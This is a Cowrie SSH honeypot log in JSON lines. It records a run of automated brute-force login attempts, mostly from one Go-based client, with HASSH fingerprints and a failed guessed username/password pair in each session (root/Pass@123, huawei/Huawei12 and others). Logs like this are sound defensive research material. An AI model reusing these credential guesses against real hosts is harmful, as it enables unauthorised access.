{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:09.275970Z","src_ip":"172.237.20.62","session":"6e26d35c0734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:10.443147Z","src_ip":"172.237.20.62","session":"6e26d35c0734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46964,"dst_ip":"159.203.135.109","dst_port":22,"session":"4510d44948a2","protocol":"ssh","message":"New connection: 172.237.20.62:46964 (159.203.135.109:22) [session: 4510d44948a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:19.485339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:19.491278Z","src_ip":"172.237.20.62","session":"4510d44948a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:19.688589Z","src_ip":"172.237.20.62","session":"4510d44948a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:20.215989Z","src_ip":"172.237.20.62","session":"4510d44948a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:21.380636Z","src_ip":"172.237.20.62","session":"4510d44948a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35110,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56acbd6e561","protocol":"ssh","message":"New connection: 172.237.20.62:35110 (159.203.135.109:22) [session: b56acbd6e561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:30.478542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:30.483576Z","src_ip":"172.237.20.62","session":"b56acbd6e561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:30.645928Z","src_ip":"172.237.20.62","session":"b56acbd6e561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:31.122519Z","src_ip":"172.237.20.62","session":"b56acbd6e561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:32.287605Z","src_ip":"172.237.20.62","session":"b56acbd6e561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57589,"dst_ip":"159.203.135.109","dst_port":22,"session":"1158946c98d6","protocol":"ssh","message":"New connection: 89.144.211.139:57589 (159.203.135.109:22) [session: 1158946c98d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:34.614482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:34.622892Z","src_ip":"89.144.211.139","session":"1158946c98d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:34.746735Z","src_ip":"89.144.211.139","session":"1158946c98d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qazwsxedc123","message":"login attempt [test/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:35.249127Z","src_ip":"89.144.211.139","session":"1158946c98d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:36.381667Z","src_ip":"89.144.211.139","session":"1158946c98d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47928,"dst_ip":"159.203.135.109","dst_port":22,"session":"572bade7d1be","protocol":"ssh","message":"New connection: 172.237.20.62:47928 (159.203.135.109:22) [session: 572bade7d1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:41.386650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:41.392620Z","src_ip":"172.237.20.62","session":"572bade7d1be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:41.554789Z","src_ip":"172.237.20.62","session":"572bade7d1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:42.032918Z","src_ip":"172.237.20.62","session":"572bade7d1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:43.194660Z","src_ip":"172.237.20.62","session":"572bade7d1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0026786327362,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:44.825188Z","src_ip":"180.235.129.180","session":"c154ab2f3a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40690,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e4e9da8d42","protocol":"ssh","message":"New connection: 172.237.20.62:40690 (159.203.135.109:22) [session: 69e4e9da8d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:52.274114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:52.278301Z","src_ip":"172.237.20.62","session":"69e4e9da8d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:52.436426Z","src_ip":"172.237.20.62","session":"69e4e9da8d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:52.911535Z","src_ip":"172.237.20.62","session":"69e4e9da8d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:57:54.075295Z","src_ip":"172.237.20.62","session":"69e4e9da8d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50894,"dst_ip":"159.203.135.109","dst_port":22,"session":"578c450bbed0","protocol":"ssh","message":"New connection: 172.237.20.62:50894 (159.203.135.109:22) [session: 578c450bbed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:03.203138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:03.208521Z","src_ip":"172.237.20.62","session":"578c450bbed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:03.368091Z","src_ip":"172.237.20.62","session":"578c450bbed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:04.044774Z","src_ip":"172.237.20.62","session":"578c450bbed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:05.211455Z","src_ip":"172.237.20.62","session":"578c450bbed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43610,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf92bda348a0","protocol":"ssh","message":"New connection: 172.237.20.62:43610 (159.203.135.109:22) [session: bf92bda348a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:14.318539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:14.413280Z","src_ip":"172.237.20.62","session":"bf92bda348a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:14.494524Z","src_ip":"172.237.20.62","session":"bf92bda348a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:15.108510Z","src_ip":"172.237.20.62","session":"bf92bda348a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:16.271974Z","src_ip":"172.237.20.62","session":"bf92bda348a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59974,"dst_ip":"159.203.135.109","dst_port":22,"session":"935cd6294045","protocol":"ssh","message":"New connection: 172.237.20.62:59974 (159.203.135.109:22) [session: 935cd6294045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:25.404674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:25.409397Z","src_ip":"172.237.20.62","session":"935cd6294045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:25.568805Z","src_ip":"172.237.20.62","session":"935cd6294045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:26.050466Z","src_ip":"172.237.20.62","session":"935cd6294045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:27.212535Z","src_ip":"172.237.20.62","session":"935cd6294045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38618,"dst_ip":"159.203.135.109","dst_port":22,"session":"946924246448","protocol":"ssh","message":"New connection: 172.237.20.62:38618 (159.203.135.109:22) [session: 946924246448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:36.278452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:36.283157Z","src_ip":"172.237.20.62","session":"946924246448","protocol":"ssh"}
